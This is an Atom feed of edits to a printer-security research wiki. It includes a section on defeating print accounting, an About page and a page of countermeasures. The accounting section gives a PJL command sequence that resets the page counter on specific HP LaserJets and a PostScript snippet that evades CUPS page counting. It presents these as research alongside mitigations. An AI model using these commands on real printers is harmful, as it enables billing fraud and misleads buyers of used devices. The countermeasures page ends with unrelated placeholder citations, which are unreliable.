For correct accounting the number of printed pages must be determined by the printing system which is not a trivial task as discussed in &amp;lt;ref&amp;gt;Deußen, J., ''Counting Pages in Printer Data Streams'', (2011), \url{http://blog.cyrtech.de/sites/default/files/Counting%20Pages%20in%20Printer%20Data%20Streams%20%28D2%29.pdf}.&amp;lt;/ref&amp;gt;. The authors of LPRng ‘make the assumption that the printer has some sort of non-volatile page counter mechanism that is reliable and impervious to power on/off cycles’ &amp;lt;ref&amp;gt;Powell, P., ''Printer Accounting Reality Check'', (1995), http://web.mit.edu/ops/services/print/Attic/src/doc/LPRng-HOWTO-15.html.&amp;lt;/ref&amp;gt;. Such hardware page counters are supported by most printers read by LPRng using PJL after every print job. HP has even documented a feature to write to the page counter variable &amp;lt;ref&amp;gt;HP Inc., ''HP LaserJet Family Quick Reference Service Guide'', (1999), \url{https://h30434.www3.hp.com/psg/attachments/psg/PostPrint/141685/1/PJL%20commands-Druckerz%C3%A4hler%20setzen%20HP2015dn.pdf}.&amp;lt;/ref&amp;gt;. By setting the printer into service mode as previously explained we were able to manipulate the page counter of the ''HP LaserJet 1200'', ''HP LaserJet 4200N'', ''HP LaserJet 4250N''. At the end of the document to be printed and separated by the \acs{UEL}, the counter simply has to be reset to its original value (&amp;lt;code&amp;gt;2342&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Resetting the page counter on HP LaserJets:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=pjl&amp;gt;&lt;br /&gt;
  \x1b%-12345X@PJL JOB&lt;br /&gt;
  This page was printed for free&lt;br /&gt;
  \x1b%-12345X@PJL EOJ&lt;br /&gt;
  \x1b%-12345X@PJL JOB&lt;br /&gt;
  @PJL SET SERVICEMODE=HPBOISEID&lt;br /&gt;
  @PJL SET PAGES=2342&lt;br /&gt;
  \x1b%-12345X@PJL EOJ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Based on the logic of the accounting software an attacker might even increase the balance of her account – which may be linked with other services like the canteen – by setting a negative number of printed pages. Note that resetting the device to [[Factory defaults]] also resets the page counter to zero on some of the tested devices, however this method is not suited if a certain value is desired. Lowering the page counter can also be used to sell a printer above its price as it can be compared to the odometer when buying a second-hand car. It is however worth emphasizing that resetting the page counter is not necessarily for malicious purposes: It is a well-known business model to sell overpriced ink for low-cost inkjet devices and block third-party refill kits by refusing to print after a certain number of pages – to handle such unethical practices it is absolutely legitimate to reset the page counter.&lt;br /&gt;
&lt;br /&gt;
=== Software page counters ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
%CUPS create document containing more pages or higher density than analyzed by CUPS. Below we will briefly discuss how LPRng and CUPS try to solve the problem of accounting.&lt;br /&gt;
&lt;br /&gt;
% PostScript has access read access to the page counter, however on none of the devices we were able to set this value.&lt;br /&gt;
&lt;br /&gt;
CUPS uses software page counters which have been implemented for all major page description languages. For PostScript, an easy way to bypass accounting is to check if the ''PageCount'' system parameter exists before actually printing the document as shown below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=postscript&amp;gt;&lt;br /&gt;
  currentsystemparams (PageCount) known {&lt;br /&gt;
    &amp;lt;@\textit{[...] code which is only executed on a printer device [...]}@&amp;gt;&lt;br /&gt;
  } if&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This way, the accounting software used by CUPS renders a different document than the printer. In our tests, CUPS only accounted for one page – which seems to be a hardcoded minimum – while the real job can be hundreds of pages. Note that using the IPP ‘raw’ queue/option is mandatory, otherwise CUPS parses the code with a PostScript-to-PostScript filter before it reaches the page counter.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Manipulating hardware page counters with PJL or tricking software page counters with PostScript can be performed in all defined attacker models, however it deserves to be mentioned that only a local attacker (AM1) has an actual benefit of free hard copies.&lt;br /&gt;
&lt;br /&gt;
% number of copies vs. density&lt;br /&gt;
% http://unix.stackexchange.com/questions/101395/cups-and-printer-security/194532&lt;br /&gt;
% http://www.pykota.com/ | http://www.pykota.com/software/pkpgcounter for cups&lt;br /&gt;
% http://stackoverflow.com/questions/15628319/how-cups-printer-accounting-works&lt;br /&gt;
% http://www.cups.org/doc/accounting.html&lt;br /&gt;
% http://www.lprng.com/LPRng-HOWTO-Multipart/accountingref.html&lt;br /&gt;
% http://www.brunel.ac.uk/~tony/LPRng/LPRng-HOWTO-11.html&lt;br /&gt;
% http://lists.pykota.com/pipermail/pykota/2006-October/004177.html&lt;br /&gt;
 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
also: can we overwrite the pagecounter operator?&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Hacking_Printers:About&amp;diff=47</id>
		<title>Hacking Printers:About</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Hacking_Printers:About&amp;diff=47"/>
				<updated>2017-01-05T14:45:53Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The '''Hacking Printers Wiki''' was created by [http://homepages.rub.de/jens.mueller-2/ Jens Müller], but its continued success depends on the contributions from many individuals in the security community.&lt;br /&gt;
&lt;br /&gt;
Thanks to everybody for your help!&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Hacking_Printers:About&amp;diff=46</id>
		<title>Hacking Printers:About</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Hacking_Printers:About&amp;diff=46"/>
				<updated>2017-01-05T14:45:03Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The ''Hacking Printers Wiki'' was created by '''Jens Müller''', but its continued success depends on the contributions from many individuals in the security community.&lt;br /&gt;
&lt;br /&gt;
Thanks to everybody for your help!&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Hacking_Printers:About&amp;diff=45</id>
		<title>Hacking Printers:About</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Hacking_Printers:About&amp;diff=45"/>
				<updated>2017-01-05T14:44:54Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: Created page with &amp;quot;The ''Hacking Printers Wiki'' was created by '''Jens Müller'', but its continued success depends on the contributions from many individuals in the security community.  Thanks...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The ''Hacking Printers Wiki'' was created by '''Jens Müller'', but its continued success depends on the contributions from many individuals in the security community.&lt;br /&gt;
&lt;br /&gt;
Thanks to everybody for your help!&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Countermeasures&amp;diff=21</id>
		<title>Countermeasures</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Countermeasures&amp;diff=21"/>
				<updated>2016-12-19T16:44:26Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__FORCETOC__&lt;br /&gt;
&lt;br /&gt;
Most attacks against printers are enabled because there is no clear distinction between [[page description]] and [[printer control]] functionality. Using the very same channel for '''data''' (to be printed) and '''code''' (to control the device) makes printers insecure by design. Potentially harmful commands can be executed by anyone who has the right to print. Thus there is no silver bullet to counter such design-immanent flaws. There are however various short- and long-term recommendations, best practices and  workarounds to mitigate the risks.&lt;br /&gt;
&lt;br /&gt;
== Vendors ==&lt;br /&gt;
&lt;br /&gt;
Printer vendors have gotten themselves into a situation that is not easy to solve. Cutting support for established and reliable languages like PostScript from one day to the next would break compatibility with existing printer drivers and updating the PostScript standard is probably not an option. Additional security flaws are introduced through undocumented PJL extensions, service codes and further proprietary features. In general there is a lot of security by obscurity in the printing industry. Reverse engineering however is not black magic anymore. Vendors need to accept that – sooner or later – someone will discover their `hidden functions' and should instead focus on open, well-studied standards to improve printer security. When it comes to firmware updates and software packages, digital signatures are often advocated as the single countermeasure. If used correctly, only files originating from the entity in possession of the private key can be installed on the device. &lt;br /&gt;
&lt;br /&gt;
Code signing however also means technically restricting users to run vendor software. &amp;lt;ref name=&amp;quot;fsf&amp;quot;&amp;gt;This issue has been discussed by the  when HP announced to introduce code signing for their printers in 2011: `Fixing rogue printers: don't trade one security threat for another. [https://en.wikipedia.org/wiki/.avi link]&amp;lt;/ref&amp;gt; Certainly there are legitimate reasons to execute custom code on a printer. An example has been given by \cite{waechter2005chai} who extended HP LaserJets to support load-balancing. The [https://en.wikipedia.org/wiki/OpenWrt OpenWrt] success story demonstrated how to improve the often limited functionality of embedded devices and there is no valid reason why printers should be excluded from the benefits of free software. Vendors should therefore take secure alternatives to code signing into account. For example the window of vulnerability can be limited to a local attacker if firmware updates required a confirmation key pressed on the printer's control panel. Further non-code signing based approaches like unique default passwords can be adapted from best practices in the world of home routers.&lt;br /&gt;
&lt;br /&gt;
== Admins ==&lt;br /&gt;
&lt;br /&gt;
Network administrators should never leave their printers accessible from the internet and disable raw port 9100/tcp printing if not required. While this does not prevent most of the presented attacks, it complicates them and in particular mitigates the attackers ability to leak data. A more secure but also more expensive approach is to completely sandbox all printing devices into a separate [https://en.wikipedia.org/wiki/Virtual_LAN VLAN], only accessible by a hardened print server. If supported by the device, strong passwords should be set for PostScript ''startjob'' and system parameters, PJL disk lock and control panel lock as well as the embedded web server. Additionally, malicious PJL commands can be blocked using an [https://en.wikipedia.org/wiki/Intrusion_detection_system IDS/IPS]. Note however that such signature-based approaches are doomed to fail for PostScript which offers various code obfuscation techniques.&lt;br /&gt;
&lt;br /&gt;
== Users ==&lt;br /&gt;
&lt;br /&gt;
Employees should be trained to never leave the copy room unlocked and report suspicious printouts like [https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol HTTP] headers to the administrator. All other dispensable hard copies should be shred, even if they apparently do not contain confidential data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Perry&amp;quot;&amp;gt;Perry's Handbook, Sixth Edition, McGraw-Hill Co., 1984.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=OEDComputer&amp;gt;{{Cite journal |title=computer, ''n.'' |series=Oxford English Dictionary |url=http://dictionary.oed.com/ |publisher=Oxford University Press |edition=2 |year=1989 |accessdate=10 April 2009 |ref=harv}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Sun is pretty big.&amp;lt;ref&amp;gt;E. Miller, ''The Sun'', (New York: Academic Press, 2005), 23-5.&amp;lt;/ref&amp;gt; The Moon, however, is not so big.&amp;lt;ref&amp;gt;''R. Smith, &amp;quot;Size of the Moon&amp;quot;, ''Scientific American'', 46 (April 1978): 44-6.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Notes==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	</feed>